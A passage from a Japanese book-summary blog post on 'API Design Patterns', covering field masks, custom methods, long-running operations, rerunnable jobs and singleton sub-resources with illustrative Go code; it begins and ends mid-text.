無効なフィールドマスクや、存在しないフィールドへのアクセス試行をどのように処理するかは重要な設計上の決定です。適切なエラーメッセージと状態コードを返すことで、APIの使いやすさと信頼性を向上させることができます。フィールドマスクの高度な使用法著者は、フィールドマスクのより高度な使用法についても言及しています。特に注目すべきは、ネストされた構造やマップ型のフィールドへの対応です。例えば、次のような複雑な構造を持つリソースを考えてみましょう:type User struct { ID string Name string Address Address Settings map[string]interface{}}type Address struct { Street string City string Country string}このような構造に対して、著者は以下のようなフィールドマスクの表記を提案しています。name: ユーザーの名前を更新または取得address.city: ユーザーの住所の都市のみを更新または取得settings.theme: 設定マップ内のテーマ設定のみを更新または取得この表記法により、非常に細かい粒度で更新や取得を行うことが可能になります。これは特に、大規模で複雑なリソースを扱う場合に有用です。しかし、このような複雑なフィールドマスクの実装には課題もあります。特に、セキュリティとパフォーマンスの観点から注意が必要です。例えば、深くネストされたフィールドへのアクセスを許可することで、予期せぬセキュリティホールが生まれる可能性があります。また、非常に複雑なフィールドマスクの解析と適用は、システムに大きな負荷をかける可能性があります。これらの課題に対処するため、著者は以下のような推奨事項を提示しています。フィールドマスクの深さに制限を設ける特定のパターンのみを許可するホワイトリストを実装するフィールドマスクの複雑さに応じて、リクエストのレート制限を調整するこれらの推奨事項は、システムの安全性と性能を確保しつつ、APIの柔軟性を維持するのに役立ちます。部分的な更新と取得の影響部分的な更新と取得の実装は、システム全体に広範な影響を与えます。特に以下の点が重要です。データベース設計: 部分的な更新をサポートするためには、データベースの設計も考慮する必要があります。例えば、ドキュメント指向のデータベースは、部分的な更新に適している場合があります。キャッシング戦略: 部分的な取得をサポートする場合、キャッシング戦略も再考する必要があります。フィールドごとに異なるキャッシュ期間を設定したり、部分的な更新があった場合にキャッシュを適切に無効化する仕組みが必要になります。監視とロギング: 部分的な更新と取得をサポートすることで、システムの監視とロギングの複雑さが増します。どのフィールドが更新されたか、どのフィールドが要求されたかを追跡し、適切にログを取ることが重要になります。ドキュメンテーション: フィールドマスクの使用方法や、各フィールドの意味、相互依存関係などを明確にドキュメント化する必要があります。これにより、API利用者が部分的な更新と取得を適切に使用できるようになります。テスト戦略: 部分的な更新と取得をサポートすることで、テストケースの数が大幅に増加します。全ての有効なフィールドの組み合わせをテストし、不正なフィールドマスクに対する適切なエラーハンドリングを確認する必要があります。クライアントライブラリ: APIクライアントライブラリを提供している場合、フィールドマスクを適切に扱えるように更新する必要があります。これにより、API利用者がより簡単に部分的な更新と取得を利用できるようになります。パフォーマンスチューニング: 部分的な更新と取得は、システムのパフォーマンスに大きな影響を与える可能性があります。フィールドマスクの解析や適用のパフォーマンスを最適化し、必要に応じてインデックスを追加するなどの対策が必要になる場合があります。セキュリティ対策: フィールドマスクを通じて、機密情報へのアクセスが可能になる可能性があります。適切なアクセス制御と認可チェックを実装し、セキュリティ監査を行うことが重要です。バージョニング戦略: 新しいフィールドの追加や既存フィールドの変更を行う際、フィールドマスクとの互換性を維持する必要があります。これは、APIのバージョニング戦略に大きな影響を与える可能性があります。開発者教育: 開発チーム全体が部分的な更新と取得の概念を理解し、適切に実装できるようにするための教育が必要になります。これには、ベストプラクティスの共有やコードレビューのプロセスの更新が含まれる可能性があります。これらの影響を適切に管理することで、部分的な更新と取得の実装による利点を最大限に活かしつつ、潜在的な問題を最小限に抑えることができます。システム全体のアーキテクチャ、開発プロセス、運用プラクティスを包括的に見直し、必要に応じて調整を行うことが重要です。最終的に、部分的な更新と取得の実装は、APIの使いやすさと効率性を大幅に向上させる可能性がありますが、同時にシステムの複雑性も増加させます。したがって、その導入を決定する際は、利点とコストを慎重に検討し、システムの要件と制約に基づいて適切な判断を下す必要があります。長期的な保守性、スケーラビリティ、そして全体的なシステムのパフォーマンスを考慮に入れた上で、部分的な更新と取得の実装範囲と方法を決定することが賢明です。結論第8章「Partial updates and retrievals」は、APIにおける部分的な更新と取得の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの効率性、柔軟性、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。部分的な更新と取得は、大規模なリソースや制限のあるクライアント環境で特に重要です。フィールドマスクは、部分的な更新と取得を実現するための強力なツールです。適切な実装は、ネットワーク帯域幅の使用を最適化し、システム全体のパフォーマンスを向上させます。フィールドマスクの使用は、APIの柔軟性と拡張性を大幅に向上させます。部分的な更新と取得の実装には、一貫性、パフォーマンス、バージョニング、セキュリティなどの課題があり、これらを適切に考慮する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、部分的な更新と取得の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の効率性、スケーラビリティ、そして運用性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。部分的な更新と取得の適切な実装は、将来的な拡張性を確保し、予期せぬパフォーマンス問題や互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より効率的で柔軟性の高いシステムを構築することができるでしょう。9 Custom methods「API Design Patterns」の第9章「Custom methods」は、APIにおけるカスタムメソッドの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はカスタムメソッドが単なる追加機能ではなく、APIの柔軟性、表現力、そして長期的な保守性に直接影響を与える重要な設計上の決定であることを明確に示しています。カスタムメソッドの必要性と動機著者は、標準メソッドだけでは対応できないシナリオが存在することから議論を始めています。例えば、電子メールの送信やテキストの翻訳のような特定のアクションをAPIでどのように表現するべきかという問題を提起しています。これらのアクションは、標準的なCRUD操作(Create, Read, Update, Delete)には簡単に当てはまらず、かつ重要な副作用を伴う可能性があります。この問題は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが協調して動作する環境では、各サービスが提供する機能が複雑化し、標準的なRESTful操作だけではカバーしきれないケースが増えています。例えば、ある特定の条件下でのみ実行可能な操作や、複数のリソースに跨がる操作などが該当します。著者は、このような状況に対処するためのソリューションとしてカスタムメソッドを提案しています。カスタムメソッドは、標準メソッドの制約を超えて、APIに特化した操作を実現する手段となります。カスタムメソッドの実装カスタムメソッドの実装に関して、著者はいくつかの重要なポイントを強調しています。HTTP メソッドの選択: カスタムメソッドはほとんどの場合、POSTメソッドを使用します。これは、POSTがリソースの状態を変更する操作に適しているためです。URL構造: カスタムメソッドのURLは、標準的なリソースパスの後にコロン(:)を使用して、カスタムアクションを示します。例えば、POST /rockets/1234:launchのような形式です。命名規則: カスタムメソッドの名前は、標準メソッドと同様に動詞+名詞の形式を取るべきです。例えば、LaunchRocketやSendEmailなどです。これらの規則は、APIの一貫性と予測可能性を維持する上で重要です。特に、大規模なシステムや長期的に運用されるAPIにおいて、この一貫性は開発者の生産性と学習曲線に大きな影響を与えます。著者が提示する実装例を、Golangを用いて具体化すると以下のようになります。type RocketAPI interface { LaunchRocket(ctx context.Context, req *LaunchRocketRequest) (*Rocket, error)}type LaunchRocketRequest struct { ID string `json:\\"id\\"`}func (s *rocketService) LaunchRocket(ctx context.Context, req *LaunchRocketRequest) (*Rocket, error) { // カスタムロジックの実装 // 例: ロケットの状態チェック、打ち上げシーケンスの開始など}このような実装により、標準的なCRUD操作では表現しきれない複雑なビジネスロジックを、明確で直感的なAPIインターフェースとして提供することが可能になります。副作用の取り扱いカスタムメソッドの重要な特徴の一つとして、著者は副作用の許容を挙げています。標準メソッドが基本的にリソースの状態変更のみを行うのに対し、カスタムメソッドはより広範な操作を行うことができます。例えば、メールの送信、バックグラウンドジョブの開始、複数リソースの更新などです。この特性は、システムの設計と運用に大きな影響を与えます。副作用を伴う操作は、システムの一貫性や信頼性に影響を与える可能性があるため、慎重に設計する必要があります。例えば、トランザクション管理、エラーハンドリング、リトライメカニズムなどを考慮する必要があります。著者が提示する電子メール送信の例は、この点を明確に示しています。メールの送信操作は、データベースの更新だけでなく、外部のSMTPサーバーとの通信も含みます。このような複合的な操作をカスタムメソッドとして実装することで、操作の意図を明確に表現し、同時に必要な副作用を適切に管理することができます。リソースvs.コレクション著者は、カスタムメソッドを個々のリソースに適用するか、リソースのコレクションに適用するかという選択についても論じています。この選択は、操作の性質と影響範囲に基づいて行われるべきです。例えば、単一のメールを送信する操作は個々のリソースに対するカスタムメソッドとして実装される一方で、複数のメールをエクスポートする操作はコレクションに対するカスタムメソッドとして実装されるべきです。この区別は、APIの論理的構造と使いやすさに直接影響します。適切に設計されたカスタムメソッドは、複雑な操作を直感的なインターフェースで提供し、クライアント側の実装を簡素化します。ステートレスカスタムメソッド著者は、ステートレスなカスタムメソッドについても言及しています。これらは、永続的な状態変更を伴わず、主に計算や検証を行うメソッドです。例えば、テキスト翻訳やメールアドレスの検証などが該当します。ステートレスメソッドは、特にデータプライバシーやセキュリティの要件が厳しい環境で有用です。例えば、GDPR(一般データ保護規則)のようなデータ保護規制に対応する必要がある場合、データを永続化せずに処理できるステートレスメソッドは有効なソリューションとなります。しかし、著者は完全にステートレスなアプローチの限界についても警告しています。多くの場合、将来的にはある程度の状態管理が必要になる可能性があるため、完全にステートレスな設計に固執することは避けるべきだと指摘しています。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。柔軟性と表現力: カスタムメソッドを適切に使用することで、APIの柔軟性と表現力が大幅に向上します。複雑なビジネスロジックや特殊なユースケースを、直感的で使いやすいインターフェースとして提供することが可能になります。マイクロサービスアーキテクチャとの親和性: カスタムメソッドは、マイクロサービスアーキテクチャにおいて特に有用です。各サービスが提供する特殊な機能や、サービス間の複雑な相互作用を表現するのに適しています。運用性と可観測性: カスタムメソッドの導入は、システムの運用性と可観測性に影響を与えます。副作用を伴う操作や、複雑な処理フローを含むカスタムメソッドは、適切なログ記録、モニタリング、トレーシングの実装が不可欠です。バージョニングと後方互換性: カスタムメソッドの追加や変更は、APIのバージョニング戦略に影響を与えます。新しいカスタムメソッドの導入や既存メソッドの変更を行う際は、後方互換性の維持に注意を払う必要があります。セキュリティの考慮: カスタムメソッド、特に副作用を伴うものは、適切なアクセス制御と認可チェックが必要です。また、ステートレスメソッドを使用する場合でも、入力データの検証やサニタイズは不可欠です。パフォーマンスとスケーラビリティ: カスタムメソッドの実装は、システムのパフォーマンスとスケーラビリティに影響を与える可能性があります。特に、複雑な処理や外部サービスとの連携を含むメソッドは、適切なパフォーマンスチューニングとスケーリング戦略が必要になります。結論第9章「Custom methods」は、APIにおけるカスタムメソッドの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、表現力、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。カスタムメソッドは、標準メソッドでは適切に表現できない複雑な操作や特殊なユースケースに対応するための強力なツールです。カスタムメソッドの設計と実装には、一貫性のある命名規則とURL構造の使用が重要です。副作用を伴うカスタムメソッドの使用は慎重に行い、適切な管理と文書化が必要です。リソースとコレクションに対するカスタムメソッドの適用は、操作の性質に基づいて適切に選択する必要があります。ステートレスなカスタムメソッドは有用ですが、将来的な拡張性を考慮して設計する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、カスタムメソッドの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なカスタムメソッドの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、保守性、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。カスタムメソッドの適切な実装は、将来的な拡張性を確保し、予期せぬ要件変更や新機能の追加にも柔軟に対応できるAPIを実現します。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。10 Long-running operations「API Design Patterns」の第10章「Long-running operations」は、APIにおける長時間実行操作の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は長時間実行操作(LRO)が単なる機能の追加ではなく、APIの柔軟性、スケーラビリティ、そして長期的な運用性に直接影響を与える重要な設計上の決定であることを明確に示しています。長時間実行操作の必要性と概要著者は、APIにおける長時間実行操作の必要性から議論を始めています。多くのAPI呼び出しは数百ミリ秒以内に処理されますが、データ処理や外部サービスとの連携など、時間のかかる操作も存在します。これらの操作を同期的に処理すると、クライアントの待ち時間が長くなり、リソースの無駄遣いにつながる可能性があります。長時間実行操作の概念は、プログラミング言語におけるPromiseやFutureと類似しています。APIの文脈では、これらの操作は「Long-running Operations」(LRO)と呼ばれ、非同期処理を可能にします。LROは、操作の進行状況を追跡し、最終的な結果を取得するためのメカニズムを提供します。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが協調して動作する環境では、一つの操作が複数のサービスにまたがって実行される可能性があり、その全体の進行状況を追跡する必要があります。著者は、LROの基本的な構造として以下の要素を提案しています。一意の識別子操作の状態(実行中、完了、エラーなど)結果または発生したエラーの情報進行状況や追加のメタデータこれらの要素を含むLROは、APIリソースとして扱われ、クライアントはこのリソースを通じて操作の状態を確認し、結果を取得することができます。LROの実装LROの実装に関して、著者はいくつかの重要なポイントを強調しています。リソースとしてのLRO: LROは通常のAPIリソースとして扱われ、一意の識別子を持ちます。これにより、クライアントは操作の状態を簡単に追跡できます。ジェネリックな設計: LROインターフェースは、さまざまな種類の操作に対応できるように、結果の型とメタデータの型をパラメータ化します。ステータス管理: 操作の状態(実行中、完了、エラーなど)を明確に表現する必要があります。エラーハンドリング: 操作が失敗した場合のエラー情報を適切に提供する必要があります。進行状況の追跡: 長時間実行操作の進行状況を追跡し、クライアントに提供するメカニズムが必要です。これらの要素を考慮したLROの基本的な構造を、Golangを用いて表現すると以下のようになります。type Operation struct { ID string `json:\\"id\\"` Done bool `json:\\"done\\"` Result interface{} `json:\\"result,omitempty\\"` Error *ErrorInfo `json:\\"error,omitempty\\"` Metadata interface{} `json:\\"metadata,omitempty\\"`}type ErrorInfo struct { Code int `json:\\"code\\"` Message string `json:\\"message\\"` Details map[string]interface{} `json:\\"details,omitempty\\"`}この構造により、APIは長時間実行操作の状態を効果的に表現し、クライアントに必要な情報を提供することができます。LROの状態管理と結果の取得著者は、LROの状態を管理し、結果を取得するための2つの主要なアプローチを提案しています。ポーリングと待機です。ポーリング: クライアントが定期的にLROの状態を確認する方法です。これは実装が簡単ですが、不必要なAPI呼び出しが発生する可能性があります。待機: クライアントがLROの完了を待つ長期接続を確立する方法です。これはリアルタイム性が高いですが、サーバー側のリソース管理が複雑になる可能性があります。これらのアプローチを実装する際、著者は以下のAPIメソッドを提案しています。GetOperation: LROの現在の状態を取得します。ListOperations: 複数のLROをリストアップします。WaitOperation: LROの完了を待機します。これらのメソッドを適切に実装することで、クライアントは長時間実行操作の進行状況を効果的に追跡し、結果を取得することができます。LROの制御と管理著者は、LROをより柔軟に管理するための追加機能についても論じています。キャンセル: 実行中の操作を中止する機能です。これは、不要になった操作やエラーが発生した操作を適切に終了させるために重要です。一時停止と再開: 一部の操作では、一時的に処理を停止し、後で再開する機能が有用な場合があります。有効期限: LROリソースをいつまで保持するかを決定するメカニズムです。これは、システムリソースの効率的な管理に役立ちます。これらの機能を実装することで、APIの柔軟性と運用性が向上します。例えば、キャンセル機能は以下のように実装できます。func (s *Service) CancelOperation(ctx context.Context, req *CancelOperationRequest) (*Operation, error) { op, err := s.GetOperation(ctx, &GetOperationRequest{Name: req.Name}) if err != nil { return nil, err } if op.Done { return op, nil } // 操作をキャンセルするロジック // ... op.Done = true op.Error = &ErrorInfo{ Code: int(codes.Cancelled), Message: \\"Operation cancelled by the user.\\", } return s.UpdateOperation(ctx, op)}実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: LROを適切に実装することで、APIのスケーラビリティと全体的な性能を向上させることができます。長時間実行操作を非同期で処理することで、サーバーリソースを効率的に利用し、クライアントの応答性を維持することができます。信頼性とエラー処理: LROパターンは、長時間実行操作中に発生する可能性のあるエラーを適切に処理し、クライアントに伝達するメカニズムを提供します。これにより、システム全体の信頼性が向上します。運用性と可観測性: LROリソースを通じて操作の進行状況や状態を追跡できることは、システムの運用性と可観測性を大幅に向上させます。これは、複雑な分散システムの問題診断や性能最適化に特に有用です。ユーザーエクスペリエンス: クライアントに進行状況を提供し、長時間操作をキャンセルする機能を提供することで、APIのユーザーエクスペリエンスが向上します。リソース管理: LROの有効期限を適切に設定することで、システムリソースを効率的に管理できます。これは、大規模なシステムの長期的な運用において特に重要です。結論第10章「Long-running operations」は、APIにおける長時間実行操作の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、スケーラビリティ、そして長期的な運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。LROは、長時間実行操作を非同期で処理するための強力なツールです。LROをAPIリソースとして扱うことで、操作の状態管理と結果の取得が容易になります。ポーリングと待機の両方のアプローチを提供することで、さまざまなクライアントのニーズに対応できます。キャンセル、一時停止、再開などの制御機能を提供することで、APIの柔軟性が向上します。LROリソースの適切な有効期限管理は、システムリソースの効率的な利用につながります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、LROの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なLROの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。LROの適切な実装は、複雑な分散システムにおける非同期処理の管理を容易にし、システム全体の信頼性と効率性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。11 Rerunnable jobs「API Design Patterns」の第11章「Rerunnable jobs」は、APIにおける再実行可能なジョブの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は再実行可能なジョブが単なる機能の追加ではなく、APIの柔軟性、スケーラビリティ、そして長期的な運用性に直接影響を与える重要な設計上の決定であることを明確に示しています。Figure 11.1 Interaction with a Job resource より引用再実行可能なジョブの必要性と概要著者は、再実行可能なジョブの必要性から議論を始めています。多くのAPIでは、カスタマイズ可能で繰り返し実行する必要のある機能が存在します。しかし、従来のAPIデザインでは、これらの機能を効率的に管理することが困難でした。著者は、この問題に対処するために「ジョブ」という概念を導入しています。ジョブは、APIメソッドの設定と実行を分離する特別なリソースとして定義されています。この分離には以下の利点があります。設定の永続化:ジョブの設定をAPIサーバー側で保存できるため、クライアントは毎回詳細な設定を提供する必要がありません。権限の分離:ジョブの設定と実行に異なる権限を設定できるため、セキュリティとアクセス制御が向上します。スケジューリングの容易さ:ジョブをAPIサーバー側でスケジュールすることが可能になり、クライアント側での複雑なスケジューリング管理が不要になります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービスが協調して動作する環境では、定期的なデータ処理やバックアップなどの操作を効率的に管理する必要があります。再実行可能なジョブを使用することで、これらの操作を一貫した方法で設計し、実行することができます。この辺の再実行性について包括的に知りたいのであればCloud Native Go, 2nd Editionやデータ指向アプリケーションデザイン ―信頼性、拡張性、保守性の高い分散システム設計の原理などが良いのでオススメです。learning.oreilly.com著者は、ジョブの基本的な構造として以下の要素を提案しています。ジョブリソース:設定情報を保持するリソース実行メソッド:ジョブを実行するためのカスタムメソッド実行リソース:ジョブの実行結果を保持するリソース(必要な場合)これらの要素を組み合わせることで、APIは柔軟で再利用可能なジョブ管理システムを提供することができます。Figure 11.2 Interaction with a Job resource with Execution results より引用ジョブリソースの実装著者は、ジョブリソースの実装に関して詳細なガイダンスを提供しています。ジョブリソースは、通常のAPIリソースと同様に扱われますが、その目的は特定の操作の設定を保存することです。ジョブリソースの主な特徴は以下の通りです。一意の識別子:他のリソースと同様に、ジョブリソースも一意の識別子を持ちます。設定パラメータ:ジョブの実行に必要な全ての設定情報を保持します。標準的なCRUD操作:ジョブリソースは作成、読み取り、更新、削除の標準的な操作をサポートします。著者は、チャットルームのバックアップを例にとって、ジョブリソースの設計を説明しています。以下は、Golangを用いてこのジョブリソースを表現した例です。type BackupChatRoomJob struct { ID string `json:\\"id\\"` ChatRoomID string `json:\\"chatRoomId\\"` Destination string `json:\\"destination\\"` CompressionFormat string `json:\\"compressionFormat\\"` EncryptionKey string `json:\\"encryptionKey\\"`}このような設計により、ジョブの設定を永続化し、必要に応じて再利用することが可能になります。また、異なる権限レベルを持つユーザーがジョブの設定と実行を別々に管理できるようになります。ジョブの実行とLRO著者は、ジョブの実行方法についても詳細に説明しています。ジョブの実行は、カスタムメソッド(通常は「run」メソッド)を通じて行われます。このメソッドは、長時間実行操作(LRO)を返すことで、非同期実行をサポートします。以下は、Golangを用いてジョブ実行メソッドを表現した例です。func (s *Service) RunBackupChatRoomJob(ctx context.Context, req *RunBackupChatRoomJobRequest) (*Operation, error) { job, err := s.GetBackupChatRoomJob(ctx, req.JobID) if err != nil { return nil, err } op := &Operation{ Name: fmt.Sprintf(\\"operations/backup_%s\\", job.ID), Metadata: &BackupChatRoomJobMetadata{ JobID: job.ID, Status: \\"RUNNING\\", }, } go s.executeBackupJob(job, op) return op, nil}このアプローチには以下の利点があります。非同期実行:長時間かかる可能性のある操作を非同期で実行できます。進捗追跡:LROを通じて、ジョブの進捗状況を追跡できます。エラーハンドリング:LROを使用することで、ジョブ実行中のエラーを適切に処理し、クライアントに伝達できます。実行リソースの導入著者は、ジョブの実行結果を永続化するための「実行リソース」の概念を導入しています。これは、LROの有効期限が限定される可能性がある場合に特に重要です。実行リソースの主な特徴は以下の通りです。読み取り専用:実行リソースは、ジョブの実行結果を表すため、通常は読み取り専用です。ジョブとの関連付け:各実行リソースは、特定のジョブリソースに関連付けられます。結果の永続化:ジョブの実行結果を長期的に保存し、後で参照することができます。以下は、Golangを用いて実行リソースを表現した例です。type AnalyzeChatRoomJobExecution struct { ID string `json:\\"id\\"` JobID string `json:\\"jobId\\"` ExecutionTime time.Time `json:\\"executionTime\\"` SentenceComplexity float64 `json:\\"sentenceComplexity\\"` Sentiment float64 `json:\\"sentiment\\"` AbuseScore float64 `json:\\"abuseScore\\"`}実行リソースを導入することで、ジョブの実行履歴を管理し、結果を長期的に保存することが可能になります。これは、データ分析や監査の目的で特に有用です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: 再実行可能なジョブを適切に実装することで、APIのスケーラビリティと全体的な性能を向上させることができます。長時間実行される操作を非同期で処理することで、サーバーリソースを効率的に利用し、クライアントの応答性を維持することができます。運用性と可観測性: ジョブリソースと実行リソースを導入することで、システムの運用性と可観測性が向上します。ジョブの設定、実行状況、結果を一元的に管理できるため、問題の診断や性能最適化が容易になります。セキュリティとアクセス制御: ジョブの設定と実行を分離することで、より細かいアクセス制御が可能になります。これは、大規模な組織や複雑なシステムにおいて特に重要です。バージョニングと後方互換性: ジョブリソースを使用することで、APIの進化に伴う変更を管理しやすくなります。新しいパラメータや機能を追加する際も、既存のジョブとの互換性を維持しやすくなります。スケジューリングと自動化: 再実行可能なジョブは、定期的なタスクやバッチ処理の自動化に適しています。これは、データ処理パイプラインやレポート生成などのシナリオで特に有用です。結論第11章「Rerunnable jobs」は、APIにおける再実行可能なジョブの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、スケーラビリティ、そして長期的な運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。ジョブリソースを導入することで、設定と実行を分離し、再利用性を高めることができます。カスタムの実行メソッドとLROを組み合わせることで、非同期実行と進捗追跡を実現できます。実行リソースを使用することで、ジョブの結果を永続化し、長期的な分析や監査を可能にします。この設計パターンは、セキュリティ、スケーラビリティ、運用性の向上に貢献します。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、再実行可能なジョブの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なジョブ設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。再実行可能なジョブの適切な実装は、複雑なワークフローの管理を容易にし、システム全体の柔軟性と効率性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。Part 4 Resource relationshipsここでは、APIにおけるリソース間の関係性の表現方法について詳しく解説されています。シングルトンサブリソース、クロスリファレンス、関連リソース、ポリモーフィズムなど、複雑なデータ構造や関係性を APIで表現するための高度なテクニックが紹介されています。これらのパターンを理解し適切に適用することで、より柔軟で表現力豊かなAPIを設計することができます。12 Singleton sub-resources「API Design Patterns」の第12章「Singleton sub-resources」は、APIにおけるシングルトンサブリソースの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はシングルトンサブリソースが単なる設計上の選択ではなく、APIの柔軟性、スケーラビリティ、そして長期的な保守性に直接影響を与える重要な設計パターンであることを明確に示しています。シングルトンサブリソースの必要性と概要著者は、シングルトンサブリソースの必要性から議論を始めています。多くのAPIでは、リソースの一部のデータを独立して管理する必要が生じることがあります。例えば、アクセス制御リスト(ACL)のような大規模なデータ、頻繁に更新される位置情報、または特別なセキュリティ要件を持つデータなどが該当します。これらのデータを主リソースから分離することで、APIの効率性と柔軟性を向上させることができます。シングルトンサブリソースは、リソースのプロパティとサブリソースの中間的な存在として定義されています。著者は、この概念を以下のように説明しています。親リソースに従属:シングルトンサブリソースは常に親リソースに関連付けられます。単一インスタンス:各親リソースに対して、特定のタイプのシングルトンサブリソースは1つしか存在しません。独立した管理:シングルトンサブリソースは、親リソースとは別に取得や更新が可能です。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、ユーザーサービスと位置情報サービスを分離しつつ、両者の関連性を維持したい場合に、シングルトンサブリソースが有効です。シングルトンサブリソースの実装著者は、シングルトンサブリソースの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。標準メソッドの制限: シングルトンサブリソースは、通常のリソースとは異なり、標準のCRUD操作の一部のみをサポートします。具体的には、Get(取得)とUpdate(更新)のみが許可されます。暗黙的な作成と削除: シングルトンサブリソースは親リソースの作成時に自動的に作成され、親リソースの削除時に自動的に削除されます。リセット機能: 著者は、シングルトンサブリソースを初期状態にリセットするためのカスタムメソッドの実装を推奨しています。階層構造: シングルトンサブリソースは常に親リソースの直下に位置し、他のシングルトンサブリソースの子になることはありません。これらの原則を適用することで、APIの一貫性と予測可能性を維持しつつ、特定のデータを効率的に管理することができます。以下は、Golangを用いてシングルトンサブリソースを実装する例です。type Driver struct { ID string `json:\\"id\\"` Name string `json:\\"name\\"` LicensePlate string `json:\\"licensePlate\\"`}type DriverLocation struct { ID string `json:\\"id\\"` DriverID string `json:\\"driverId\\"` Latitude float64 `json:\\"latitude\\"` Longitude float64 `json:\\"longitude\\"` UpdatedAt time.Time `json:\\"updatedAt\\"`}type DriverService interface { GetDriver(ctx context.Context, id string) (*Driver, error) UpdateDriver(ctx context.Context, driver *Driver) error GetDriverLocation(ctx context.Context, driverID string) (*DriverLocation, error) UpdateDriverLocation(ctx context.Context, location *DriverLocation) error ResetDriverLocation(ctx context.Context, driverID string) error}この例では、DriverリソースとDriverLocationシングルトンサブリソースを定義しています。DriverServiceインターフェースは、これらのリソースに対する操作を定義しています。シングルトンサブリソースの利点と課題著者は、シングルトンサブリソースの利点と課題について詳細に論じています。利点:データの分離: 頻繁に更新されるデータや大量のデータを分離することで、主リソースの管理が容易になります。細粒度のアクセス制御: 特定のデータに対して、より詳細なアクセス制御を実装できます。パフォーマンスの向上: 必要なデータのみを取得・更新することで、APIのパフォーマンスが向上します。課題:原子性の欠如: 親リソースとサブリソースを同時に更新することができないため、データの一貫性を維持するための追加の作業が必要になる場合があります。複雑性の増加: APIの構造が若干複雑になり、クライアント側の実装が少し難しくなる可能性があります。これらの利点と課題を考慮しながら、シングルトンサブリソースの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: シングルトンサブリソースを適切に実装することで、APIのスケーラビリティと全体的な性能を向上させることができます。特に、大規模なデータや頻繁に更新されるデータを扱う場合に有効です。セキュリティとアクセス制御: シングルトンサブリソースを使用することで、特定のデータに対してより細かいアクセス制御を実装できます。これは、セキュリティ要件が厳しい環境で特に重要です。システムの進化: シングルトンサブリソースパターンを採用することで、システムの将来的な拡張や変更が容易になります。新しい要件が発生した際に、既存のリソース構造を大きく変更することなく、新しいサブリソースを追加できます。マイクロサービスアーキテクチャとの親和性: シングルトンサブリソースの概念は、マイクロサービスアーキテクチャにおいてサービス間の境界を定義する際に特に有用です。例えば、ユーザープロファイルサービスと位置情報サービスを分離しつつ、両者の関連性を維持することができます。運用性と可観測性: 